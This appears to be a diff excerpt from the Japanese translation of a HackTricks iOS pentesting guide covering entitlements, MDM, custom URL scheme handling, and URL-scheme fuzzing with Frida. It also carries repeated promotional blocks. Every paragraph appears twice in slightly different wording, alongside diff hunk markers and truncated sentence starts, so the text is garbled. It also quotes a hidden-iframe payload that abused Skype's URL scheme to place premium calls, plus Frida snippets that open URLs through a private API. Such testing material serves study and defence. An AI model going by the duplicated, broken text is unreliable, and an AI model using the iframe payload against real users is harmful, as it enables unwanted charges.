たとえば、アプリが完全にNFCに依存している場合["NFC Tag Reader"](https://itunes.apple.com/us/app/nfc-taginfo-by-nxp/id1246143596)アプリ)、[iOSデバイス互換性リファレンスアーカイブ版](https://developer.apple.com/library/archive/documentation/DeviceInformation/Reference/iOSDeviceCompatibility/DeviceCompatibilityMatrix/DeviceCompatibilityMatrix.html)によると、NFCはiPhone 7およびiOS 11から利用可能です。開発者は、`nfc`デバイスの能力を設定することで、すべての非互換デバイスを除外することができます
例えば、アプリが NFC に完全に依存している場合があります(例:["NFC Tag Reader"](https://itunes.apple.com/us/app/nfc-taginfo-by-nxp/id1246143596) アプリ)。[アーカイブされた iOS デバイス互換性リファレンス](https://developer.apple.com/library/archive/documentation/DeviceInformation/Reference/iOSDeviceCompatibility/DeviceCompatibilityMatrix/DeviceCompatibilityMatrix.html)によると、NFC iPhone 7および iOS 11から利用可能です。開発者は、`nfc` デバイス機能を設定することで、互換性のないすべてのデバイスを除外することを望むかもしれません
## エンタイトルメント
> エンタイトルメントは、ランタイム要因のようなものを超えた認証を可能にする、アプリに署名されたキーバリューペアです。エンタイトルメントはデジタル署名されているため、変更することはできません。エンタイトルメントは、システムアプリやデーモンが特定の特権操作を実行するために広範に使用されます。これにより、侵害されたシステムアプリやデーモンによる特権エスカレーションの可能性が大幅に低下します。
> エンタイトルメントは、アプリに署名されたキーバリューペアであり、UNIX ユーザー ID などのランタイム要因を超えた認証を可能にします。エンタイトルメントはデジタル署名されているため、変更することはできません。エンタイトルメントは、システムアプリやデーモンが **ルートとして実行することを要求する特定の特権操作を実行するため** に広く使用されています。これにより、侵害されたシステムアプリやデーモンによる権限昇格の可能性が大幅に低減されます。
たとえば、「デフォルトのデータ保護」機能を設定したい場合、Xcodeの**Capabilities**タブに移動し、**Data Protection**を有効にする必要があります。これは、Xcodeによって`<appname>.entitlements`ファイルに直接書き込まれ、デフォルト値`NSFileProtectionComplete`を持つ`com.apple.developer.default-data-protection`エンタイトルメントとして記述されます。IPA内では、これを`embedded.mobileprovision`内に見つけることができます。
例えば、「デフォルトデータ保護」機能を設定したい場合、Xcode **Capabilities** タブに移動し、**Data Protection** を有効にする必要があります。これは Xcode によって直接 `<appname>.entitlements` ファイルに `com.apple.developer.default-data-protection` エンタイトルメントとして、デフォルト値 `NSFileProtectionComplete` と共に書き込まれます。IPA では、これを `embedded.mobileprovision` で次のように見つけることができます:
```markup
<key>Entitlements</key>
<dict>
@ -151,44 +160,43 @@ IPAのみがある場合
<string>NSFileProtectionComplete</string>
</dict>
```
他の機能HealthKitについては、ユーザーに許可を求める必要があります。そのため、エンタイトルメントを追加するだけでは十分ではありません。アプリの`Info.plist`ファイルに特別なキーと文字列を追加する必要があります。
```markdown
他の機能、例えばHealthKitについては、ユーザーに許可を求める必要があるため、エンタイトルメントを追加するだけでは不十分で、アプリの`Info.plist`ファイルに特別なキーと文字列を追加する必要があります。
# Objective-CとSwiftの基礎
**Objective-C**は**動的ランタイム**を持っているため、iOSでObjective-Cプログラムが実行されると、メッセージで送信された関数の名前を使用して、利用可能なすべての関数名のリストと比較して、ランタイムで関数のアドレスを解決します。
**Objective-C**は**動的ランタイム**を持っているため、iOSでObjective-Cプログラムが実行されると、関数の名前をメッセージで送信された名前と利用可能なすべての関数名のリストと比較して、**ランタイムでアドレスが解決される**ライブラリを呼び出します。
初は、Appleが作成したアプリのみがiPhoneで実行され、信頼されていたため、彼らは**すべてにアクセスできました**。しかし、Appleが**サードパーティのアプリケーションを許可**すると、Appleは強力な関数のヘッダーファイルを削除して、開発者にそれらを「隠しました」。しかし、開発者は「安全な」関数にはこれらの未公開の関数が必要であることに気付き、未公開の関数の名前を含む**カスタムヘッダーファイルを作成するだけで、この強力な隠し関数を呼び出すことができました**。実際、Appleはアプリを公開する前に、そのアプリがこれらの禁止された関数のいずれかを呼び出しているかどうかをチェックします。
は、Appleが作成したアプリのみがiPhoneで実行されていたため、**すべてにアクセス**でき、**信頼されていました**。しかし、Appleが**第三者のアプリケーション**を**許可**したとき、Appleは開発者にそれらを「隠す」ために強力な関数のヘッダーファイルを削除しました。しかし、開発者は「安全な」関数がいくつかの文書化されていない関数を必要としていることを発見し、**文書化されていない関数の名前を含むカスタムヘッダーファイルを作成することで、これらの強力な隠された関数を呼び出すことが可能でした。** 実際に、Appleはアプリが公開される前に、これらの禁止された関数を呼び出していないかをチェックします。
して、Swiftが登場しました。**Swiftは静的にバインド**されているためObjective-Cのようにランタイムで関数のアドレスを解決しない、Swiftプログラムが行う呼び出しを静的なコード解析でより簡単にチェックできます。
の後、Swiftが登場しました。**Swiftは静的にバインドされている**ためObjective-Cのようにランタイムで関数のアドレスを解決しない静的コード分析を通じてSwiftプログラムが行う呼び出しをより簡単にチェックできます。
# デバイス管理
iOSバージョン6以降、デバイス管理機能の**組み込みサポート**があり、組織が企業のAppleデバイスを制御できる細かい制御が可能です。\
登録は、ユーザーがエージェントをインストールして企業のアプリにアクセスすることで開始できます。この場合、デバイスは通常、ユーザーの所有です。\
または、企業は購入したデバイスのシリアル番号や注文IDを指定し、それらのデバイスにインストールするMDMプロファイルを指定することができます。ただし、Appleはこの方法で特定のデバイスを2回登録することを許可していません。最初のプロファイルが削除されると、別のプロファイルをインストールするためにユーザーの同意が必要です。
iOSバージョン6から、組織が企業のAppleデバイスを制御できる細かいコントロールを備えた**デバイス管理のサポートが組み込まれています。**\
登録は、ユーザーが企業アプリにアクセスするためにエージェントをインストールすることで**ユーザーによって開始**される場合があります。この場合、デバイスは通常ユーザーに属しています。\
または、**会社が購入したデバイスのシリアル番号**または購入注文IDを指定し、それらのデバイスにインストールするMDMプロファイルを指定することができます。Appleは**特定のデバイスをこの方法で二度登録することを許可していない**ことに注意してください。最初のプロファイルが削除されると、ユーザーは別のプロファイルをインストールするための同意が必要です。
ユーザーは_**設定**_ --> _**一般**_ --> _**プロファイルとデバイス管理**_でインストールされたポリシーを確認できます。
ユーザーは_**設定**_ --> _**一般**_ --> _**プロファイルとデバイス管理**_でインストールされたポリシーを確認できます。
これらのMDMポリシーは他のアプリケーションをチェックおよび制限するため、**より高い特権で実行**されます。\
MDMポリシーは、ユーザーに**パスコード**の設定を強制することができます。パスワードの**複雑さ**には**最小**の要件があります。\
プロファイルはデバイスIDに紐づけられ、MDMサーバーによって**署名**され、**暗号化**され、**改ざん**できないようになっています。これらは**削除**することができず、削除するとすべての企業データが失われます。\
MDMプロファイルにより、X回の**パスワード誤り**がある場合にはすべてのデータを**消去**することができます。また、管理者はMDMインターフェースを介していつでもiPhoneを**リモートワイプ**することができます。
MDMエージェントは、デバイスの**脱獄**の可能性も**チェック**します。なぜなら、これはiPhoneにとって非常に危険な状態だからです。
これらのMDMポリシーは他のアプリケーションをチェックし、制限しているため、**より多くの権限を持って実行されています。**\
MDMポリシーは、**ユーザー**が**パスコード**を設定することを**強制**し、**最小限の**パスワード**複雑性**を持つことができます。\
プロファイルはデバイスIDに紐づけられ、MDMサーバーによって**署名**され、**暗号化**され、**改ざん**が**不可能**です。**企業のデータ**を**失う**ことなくは**削除**することは**できません。**\
MDMプロファイルは、X回の**失敗した**パスワード**試行**があった場合にすべての**データ**を**消去**することができます。また、**管理者**はMDMインターフェースを介していつでもiPhoneを**リモートで消去**することができます。
MDMエージェントは、iPhoneにとって非常に危険な状態である**デバイスの可能なジェイルブレイク**も**チェック**します。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンやHackTricksのPDFをダウンロードしたいですか [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
HackTricksをサポートする他の方法
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**。
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください**。
</details>
```

View file

@ -1,29 +1,29 @@
```markdown
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください!</strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
</details>
カスタムURLスキームは、アプリがカスタムプロトコルを介して通信することを可能にします。アプリはスキームを宣言し、それらのスキームを使用する信URLを処理する必要があります。
カスタムURLスキームは[アプリ間でカスタムプロトコルを介して通信することを可能にします](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1)。アプリはスキームをサポートすることを宣言し、それらのスキームを使用する信URLを処理する必要があります。
> URLスキームはアプリへの潜在的な攻撃経路を提供するため、**すべてのURLパラメータを検証**し、**形式が正しくないURLを破棄**するようにしてください。さらに、ユーザーのデータを危険にさらすことのない**利用可能なアクションを制限**してください。
> URLスキームはアプリへの潜在的な攻撃経路を提供するため、**すべてのURLパラメータを検証**し、**形式が不正なURLを破棄**することを確認してください。さらに、利用可能な**アクション**をユーザーのデータに**リスクをもたらさない**ものに限定してください。
例えば、URI `myapp://hostname?data=123876123` は、スキーム `mydata`登録しているアプリケーション(`mydata` というアプリケーション)の、`hostname` に関連する**アクション**を呼び出し、値が `123876123`**パラメータ** `data` を送信します。
例えば、URI: `myapp://hostname?data=123876123` は、スキーム `mydata`**登録**している**アプリケーション** mydata を**起動**し、**ホスト名** `hostname` に関連する**アクション**を実行し、値 `123876123` を持つ**パラメータ** `data` を送信します。
脆弱な例として、2010年に発見されたSkype Mobileアプリの次の[バグ](http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html)があります。Skypeアプリは `skype://` プロトコルハンドラを登録しており、他のアプリが他のSkypeユーザーや電話番号に対して通話をトリガーできるようにしていました。残念ながら、Skypeは通話を行う前にユーザーに許可を求めることなく、任意の番号に電話をかけることができました。攻撃者は、不可視の `<iframe src="skype://xxx?call"></iframe>``xxx` はプレミアム番号に置き換えられるを設置することで、誤って悪意のあるウェブサイトを訪れたSkypeユーザーはプレミアム番号に電話をかけてしまいました。
脆弱性のある例の一つは、2010年に発見された[Skype Mobileアプリのこのバグ](http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html)ですSkypeアプリは`skype://`プロトコルハンドラを登録しており、**他のアプリがSkypeユーザーや電話番号への呼び出しをトリガーすることを可能にしました**。残念ながら、Skypeは呼び出しを行う前にユーザーの許可を求めなかったため、任意のアプリがユーザーの知らない間に任意の番号に電話をかけることができました。攻撃者は、透明な`<iframe src="skype://xxx?call"></iframe>``xxx`はプレミアム番号に置き換えられるを使用してこの脆弱性を悪用し、悪意のあるウェブサイトを誤って訪れたSkypeユーザーがプレミアム番号に電話をかけることになりました。
アプリケーションが登録した**スキーム**は、アプリの **`Info.plist`** ファイルで **`CFBundleURLTypes`** を検索することで見つけることができます([iGoat-Swift](https://github.com/OWASP/iGoat-Swift)の例)。
アプリケーションによって**登録されたスキーム**は、アプリの**`Info.plist`**ファイル内の**`CFBundleURLTypes`**を検索することで見つけることができます([iGoat-Swift](https://github.com/OWASP/iGoat-Swift)からの例):
```
```markup
<key>CFBundleURLTypes</key>
<array>
@ -37,13 +37,13 @@
</dict>
</array>
```
ただし、**悪意のあるアプリケーションは、既に登録されているURIを再登録することができます**。したがって、URIを介して**機密情報を送信している場合**myapp://hostname?password=123456、**悪意のある**アプリケーションは**機密情報を傍受**することができます。
ただし、**悪意のあるアプリケーションが既に登録されているURIを再登録する**可能性があることに注意してください。したがって、**機密情報をURI経由で送信している場合**myapp://hostname?password=123456、**悪意のある**アプリケーションが**機密**な**情報**を含むURIを**傍受**する可能性があります。
また、これらのURIの入力は、SQLインジェクション、XSS、CSRF、パストラバーサル、または他の可能な脆弱性を悪用しようとする**悪意のある****元**から来る可能性があるため、**チェックおよびサニタイズ**する必要があります
また、これらのURIの入力は、SQLインジェクション、XSS、CSRF、パストラバーサル、またはその他の潜在的な脆弱性を悪用しようとする**悪意のある** **起源**から来る可能性があるため、**チェックして無害化する必要があります**
## アプリケーションクエリスキームの登録
アプリは[`canOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc)を呼び出して、**対象のアプリが利用可能かどうか**を確認できます。ただし、このメソッドは、悪意のあるアプリによる**インストールされたアプリの列挙**の手段として使用されていたため、[iOS 9.0以降では、それに渡されるURLスキームも宣言する必要があります](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc#discussion)。これは、アプリの`Info.plist`ファイルに`LSApplicationQueriesSchemes`キーと最大50個のURLスキームの配列を追加することで行います。
アプリは[`canOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc)を呼び出して、**ターゲットアプリが利用可能であるか**を確認できます。しかし、このメソッドが悪意のあるアプリによって**インストールされているアプリを列挙する方法として使用されていたため**、[iOS 9.0からは、それに渡されるURLスキームも宣言されなければなりません](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc#discussion)。これは、アプリの`Info.plist`ファイルに`LSApplicationQueriesSchemes`キーを追加し、**最大50のURLスキーム**の配列を指定することで行います。
```markup
<key>LSApplicationQueriesSchemes</key>
<array>
@ -51,16 +51,16 @@
<string>url_scheme2</string>
</array>
```
`canOpenURL`は、適切なアプリがインストールされているかどうかに関係なく、未宣言のスキームに対して常に`NO`を返します。ただし、この制限は`canOpenURL`にのみ適用されます。
`canOpenURL`は、適切なアプリがインストールされているかどうかに関わらず、宣言されていないスキームに対しては常に`NO`を返します。ただし、この制限は`canOpenURL`にのみ適用されます。
## URLハンドリングと検証のテスト
## URLハンドリングとバリデーションのテスト
URLパスがどのように構築され、検証されるかを判断するために、元のソースコードがある場合は、次のメソッドを検索できます
URLパスがどのように構築され、検証されるかを判断するために、元のソースコードを持っている場合、**以下のメソッドを検索してください**
* `application:didFinishLaunchingWithOptions:`メソッドまたは`application:will-FinishLaunchingWithOptions:`決定がどのように行われ、URLに関する情報がどのように取得されるかを確認します。
* [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc):リソースがどのように開かれているか、つまりデータがどのように解析されているかを確認します。特に呼び出し元アプリケーション[`sourceApplication`](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey/1623128-sourceapplication))によるアクセスが許可または拒否されるかどうかを確認します。カスタムURLスキームを使用する場合、アプリはユーザーの許可も必要とする場合があります。
* `application:didFinishLaunchingWithOptions:`メソッドまたは`application:will-FinishLaunchingWithOptions:`URLに関する情報がどのように決定され、取得されるかを確認します。
* [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc):リソースがどのように開かれるか、つまりデータがどのように解析されるかを確認し、特に呼び出しアプリ[`sourceApplication`](https://developer.apple.com/documentation/uikit/uiapplication/openurloptionskey/1623128-sourceapplication))によるアクセスが許可されるべきか否かを検証します。カスタムURLスキームを使用する際には、アプリがユーザーの許可も必要とする場合があります。
Telegramでは、[4つの異なるメソッドが使用されています](https://github.com/peter-iakovlev/Telegram-iOS/blob/87e0a33ac438c1d702f2a0b75bf21f26866e346f/Telegram-iOS/AppDelegate.swift#L1250)
Telegramでは、[4つの異なるメソッドが使用されていることがわかります](https://github.com/peter-iakovlev/Telegram-iOS/blob/87e0a33ac438c1d702f2a0b75bf21f26866e346f/Telegram-iOS/AppDelegate.swift#L1250)
```swift
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
self.openUrl(url: url)
@ -86,24 +86,24 @@ return true
```
## 他のアプリへのURLリクエストのテスト
[`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc)メソッドと[非推奨の`UIApplication`の`openURL:`メソッド](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc)は、**URLを開く**責任を持っています(つまり、他のアプリにリクエストを送信/クエリを作成するためのURL。これは、現在のアプリにローカルな場合もあれば、別のアプリによって提供される必要がある場合もあります。元のソースコードがある場合は、これらのメソッドの使用法を直接検索できます。
[`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc)メソッドと[非推奨の`UIApplication`の`openURL:`メソッド](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc)は、**URLを開く**(つまり、他のアプリへのリクエストを送信/クエリを行う)責任があります。これは現在のアプリにローカルなものか、または別のアプリによって提供されなければならないものかもしれません。元のソースコードを持っている場合は、これらのメソッドの使用箇所を直接検索できます。
さらに、特定のサービスやアプリをクエリしているかどうか、そしてアプリがよく知られている場合は、オンラインで一般的なURLスキームを検索し、**grepiOSアプリスキームのリスト**に含めることもできます。[**iOSアプリのURLスキーム名とパス常に更新されたリスト**](https://ios.gadgethacks.com/how-to/always-updated-list-ios-app-url-scheme-names-paths-for-shortcuts-0184033/)を参照してください
さらに、アプリが特定のサービスやアプリをクエリしているか、そしてアプリがよく知られているかを知りたい場合は、一般的なURLスキームをオンラインで検索し、それらを**greps**[**iOSアプリスキームのリスト**](https://ios.gadgethacks.com/how-to/always-updated-list-ios-app-url-scheme-names-paths-for-shortcuts-0184033/)****に含めることもできます
```bash
egrep -nr "open.*options.*completionHandler" ./Telegram-iOS/
egrep -nr "openURL\(" ./Telegram-iOS/
egrep -nr "mt-encrypted-file://" ./Telegram-iOS/
egrep -nr "://" ./Telegram-iOS/
```
## 廃止予定のメソッドのテスト
## 廃止されたメソッドのテスト
以下のような廃止予定のメソッドを検索します:
以下のような廃止されたメソッドを検索します:
* [`application:handleOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1622964-application?language=objc)
* [`openURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc)
* [`application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application)
例えば、以下の3つが見つかります:
例えば、ここにそれらの三つが見つかります:
```bash
$ rabin2 -zzq Telegram\ X.app/Telegram\ X | grep -i "openurl"
@ -118,14 +118,14 @@ $ rabin2 -zzq Telegram\ X.app/Telegram\ X | grep -i "openurl"
```
## 任意のURLの呼び出し
* **Safari**: 1つのURLスキームを素早くテストするには、SafariでURLを開き、アプリの動作を観察します。たとえば、`tel://123456789`と書くと、Safariはその番号を呼び出そうとします。
* **Notes App**: カスタムURLスキームをテストするために、書いたリンクを長押しします。開くためには編集モードを終了する必要があります。アプリがインストールされていない場合、カスタムURLスキームを含むリンクをクリックまたは長押しすることはできません
* **Safari**: URLスキームを素早くテストするには、SafariでURLを開いてアプリの挙動を観察します。例えば、`tel://123456789`と書くと、Safariはその番号に発信しようとします。
* **Notes App**: カスタムURLスキームをテストするために、書いたリンクを長押しします。リンクを開くためには編集モードを終了している必要があります。アプリがインストールされていない場合はリンクがクリック可能なリンクとしてハイライトされないことに注意してください
* [**IDB**](https://github.com/facebook/idb):
* IDBを起動し、デバイスに接続し、対象のアプリを選択します。詳細は[IDBのドキュメント](https://www.idbtool.com/documentation/setup.html)を参照してください。
* **URL Handlers**セクションに移動します。**URL schemes**で、**Refresh**をクリックすると、テスト対象のアプリで定義されているすべてのカスタムスキームのリストが左側に表示されます。これらのスキームは、右側の**Open**をクリックして読み込むことができます。単に空のURIスキームたとえば、`myURLscheme://`を開くことで、隠された機能(たとえば、デバッグウィンドウ)を発見したり、ローカル認証をバイパスしたりすることができます。
* IDBを起動し、デバイスに接続してターゲットアプリを選択します。詳細は[IDBのドキュメント](https://www.idbtool.com/documentation/setup.html)を参照してください。
* **URLハンドラー**セクションに移動します。**URLスキーム**で**更新**をクリックし、左側にテスト中のアプリで定義されているすべてのカスタムスキームのリストが表示されます。右側の**開く**をクリックすることでこれらのスキームをロードできます。単に空のURIスキームを開く`myURLscheme://`を開く)ことで、隠された機能(例:デバッグウィンドウ)を発見したり、ローカル認証をバイパスすることができます。
* **Frida**:
URLスキームを単純に開きたい場合は、Fridaを使用して次のように行うことができます:
単にURLスキームを開きたい場合は、Fridaを使用して行うことができます
```javascript
$ frida -U iGoat-Swift
@ -139,7 +139,7 @@ return UIApplication.openURL_(toOpen);
true
```
この[Frida CodeShare](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/)の例では、作者は非公開のAPI `LSApplicationWorkspace.openSensitiveURL:withOptions:` を使用してURLを開きますSpringBoardアプリから:
この例では、[Frida CodeShare](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/)の著者が非公開API `LSApplicationWorkspace.openSensitiveURL:withOptions:` を使用してURLを開いていますSpringBoardアプリから
```javascript
function openURL(url) {
@ -149,25 +149,25 @@ return w.openSensitiveURL_withOptions_(toOpen, null);
}
```
> 非公開のAPIの使用はApp Storeでは許可されていません。そのため、これらをテストすることはありませんが、動的解析には使用することができます。
> 非公開APIの使用はApp Storeでは許可されていないため、これらをテストすることはありませんが、動的分析のために使用することは許可されています。
## URLスキームのファジング
アプリがURLの一部を解析する場合、メモリの破損バグを検出するために入力ファジングを実行することもできます。
アプリがURLの一部を解析する場合、入力ファジングを実行してメモリ破損バグを検出することもできます。
記で学んだことを利用して、自分の選んだ言語たとえばPythonで独自のファズツールを構築し、[FridaのRPC](https://www.frida.re/docs/javascript-api/#rpc)を使用して`openURL`を呼び出すことができます。そのファズツールは以下のことを行う必要があります:
で学んだことを活用して、選んだ言語で独自のファジャーを構築し、[FridaのRPC](https://www.frida.re/docs/javascript-api/#rpc)を使用して`openURL`を呼び出すことができます。そのファジャーは以下のことを行うべきです:
* ペイロードを生成する。
* それぞれのペイロードに対して`openURL`を呼び出す。
* アプリが`/private/var/mobile/Library/Logs/CrashReporter`にクラッシュレポート(`.ips`)を生成するかどうかを確認する。
* それらの各ペイロードに対して`openURL`を呼び出す。
* アプリがクラッシュレポート(`.ips`)を`/private/var/mobile/Library/Logs/CrashReporter`に生成するかどうかをチェックする。
[FuzzDB](https://github.com/fuzzdb-project/fuzzdb)プロジェクトは、ペイロードとして使用できるファジング辞書を提供しています。
## Fridaを使用したファジング
## **Fridaを使用したファジング**
Fridaを使用してこれを行うのは非常に簡単です。[このブログ記事](https://grepharder.github.io/blog/0x03\_learning\_about\_universal\_links\_and\_fuzzing\_url\_schemes\_on\_ios\_with\_frida.html)を参照して、iOS 11.1.2で動作するiGoat-Swiftアプリをファジングする例をご覧ください
Fridaを使用すると非常に簡単で、iOS 11.1.2で動作するiGoat-Swiftアプリをファジングする例を見るために、この[ブログ投稿](https://grepharder.github.io/blog/0x03\_learning\_about\_universal\_links\_and\_fuzzing\_url\_schemes\_on\_ios\_with\_frida.html)を参照できます
ファズツールを実行する前に、入力としてURLスキームが必要です。静的解析から、iGoat-Swiftアプリが以下のURLスキームとパラメータをサポートしていることがわかっています: `iGoat://?contactNumber={0}&message={0}`.
ファジャーを実行する前に、入力としてURLスキームが必要です。静的分析から、iGoat-Swiftアプリが以下のURLスキームとパラメータをサポートしていることがわかります:`iGoat://?contactNumber={0}&message={0}`。
```bash
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
@ -183,16 +183,14 @@ Opened URL: iGoat://?contactNumber=0&message=0
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
